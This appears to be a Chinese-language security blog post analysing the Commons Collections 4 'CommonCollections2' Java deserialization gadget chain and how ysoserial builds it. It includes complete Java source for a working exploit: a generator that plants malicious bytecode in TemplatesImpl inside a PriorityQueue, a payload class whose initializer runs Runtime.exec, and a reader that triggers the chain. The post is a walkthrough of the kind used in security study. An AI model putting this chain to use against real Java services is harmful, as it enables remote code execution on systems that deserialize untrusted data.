前言:
這篇主要分析commonCollections2,調用鏈如下圖所示:

調用鏈分析:
分析環境:jdk1.8.0

反序列化的入口點為src.zip!/java/util/PriorityQueue.java

此時將會對隊列調用siftdown函數,其中隊列中包含了兩個元素,其中一個即為templatesImpl惡意類

接下來調用siftDownUsingComparator函數

在這里將調用TransformingComparator的compare函數,在這里就到了新的漏洞觸發點,this.transformer.transform(),而這里的this.transformer即為invokerTransformer,
在commoncollections1中第一次調用的是Lazymap的this.factory.transform,而這里是priorityQueue.java的compare里的this.transformer.transform


而invokeTransformer中將反射調用,templatesImple的newTranformer方法,以前分析fastjson1.2.24時候也用的是這個內置的TemplatesImple類,其有getoutputProperties也將調用newTransformer()


接着套路思路就是在newTransformer中實例化我們的惡意字節碼中包含的類,從而調用其static代碼塊或者構造方法中的rce代碼


ysoserial-exp構造
分析完調用鏈以后看看ysoserial是如何構造payload的

首先創建TemplatesImpl實例

Class.forName加載三個需要用到的類,然后調用重載的TemplatesImpl來創建實例,這里用到的技術是javassist操作類的字節碼

接下來要對我們_bytecode字段所要存儲的惡意字節碼類進行操作,這里首先將兩個類放到pool中

其中SubTransletpaylod就是存放rce代碼的類

接下來從pool中取出要操作的類,來操作其字節碼

接下來該類創建static代碼塊,並且加入rce的代碼,這里的代碼可以自定義,讀寫文件也可以

然后給該類重新設置名字,其實這個可以省略,接下來給該類設置父類為tranlet,其實這里也可以不設置,payload類里已經設置好了

之后將rce類的字節碼放到_bytecodes屬性中,再設置其他依賴屬性_name和_tfactory即可返回templatesImpl類

接着定義需要反射調用的方法,這里首先用tostring進行填充,后面再放入newtransformer,聲明要反序列化的隊列priorityQueue,容量為2

然后反射設置invoketransformer的方法為newtransformer來替換原來的tostring,然后再將queue中的兩個元素替換成templatesImpl類的實例,從而結束整個構造過程,因此構造分為三步
1.構造用於執行rce的類
2.構造templatesImpl類的實例,將1中的類填充
3.將2中的類填充到priorityqueue隊列中,返回obj
手動編寫exp:
exp.java
package CommonCollections2; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class exp { public static void main(String[] args) throws ClassNotFoundException, NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException { TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass clazz = pool.get(payload.class.getName()); final byte[] clazzByte = clazz.toBytecode(); //_bytecode為private,需要設置可訪問 Field _btcode = TemplatesImpl.class.getDeclaredField("_bytecodes"); _btcode.setAccessible(true); _btcode.set(tmp,new byte[][]{clazzByte}); //_name不為空即可 Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true); _name.set(tmp,"tr1ple"); //_tfactory可為空 Field _tf = TemplatesImpl.class.getDeclaredField("_tfactory"); _tf.setAccessible(true); _tf.set(tmp,null); // //構造priorityqueue對象 // PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]); //InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //調用該方法一樣的效果 //依賴collections4 TransformingComparator com = new TransformingComparator(trans); Field ComFi = PriorityQueue.class.getDeclaredField("comparator"); ComFi.setAccessible(true); ComFi.set(queue,com); Field qu = PriorityQueue.class.getDeclaredField("queue"); qu.setAccessible(true); Object[] objOutput = (Object[])qu.get(queue); objOutput[0] = tmp; objOutput[1] = 1; //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser"); OutputStream out = new FileOutputStream(file); ObjectOutputStream obj = new ObjectOutputStream(out); obj.writeObject(queue); obj.close(); } }
payload.java
package CommonCollections2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; import java.io.Serializable; public class payload extends AbstractTranslet implements Serializable { { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } public payload(){ System.out.println("tr1ple 2333"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
readObj.java
package CommonCollections2; import java.io.*; public class readObj { public static void main(String[] args) { try { FileInputStream fio = new FileInputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser")); ObjectInputStream obj = new ObjectInputStream(fio); obj.readObject(); obj.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
測試結果:
如下圖所示,_bytecode中的類將被實例化,調用static代碼塊的代碼和構造函數中的代碼

總結:
整個調用鏈的重點是在對隊列元素排序時可以自定義比較器進行轉換從而觸發反射調用隊列元素的成員方法,相對於cc1來說構造感覺更精巧一點,這個內部TemplatesImpl類也是jdk內置的,攻擊效果也不受到jdk版本影響,只要cc4.0的依賴存在即可
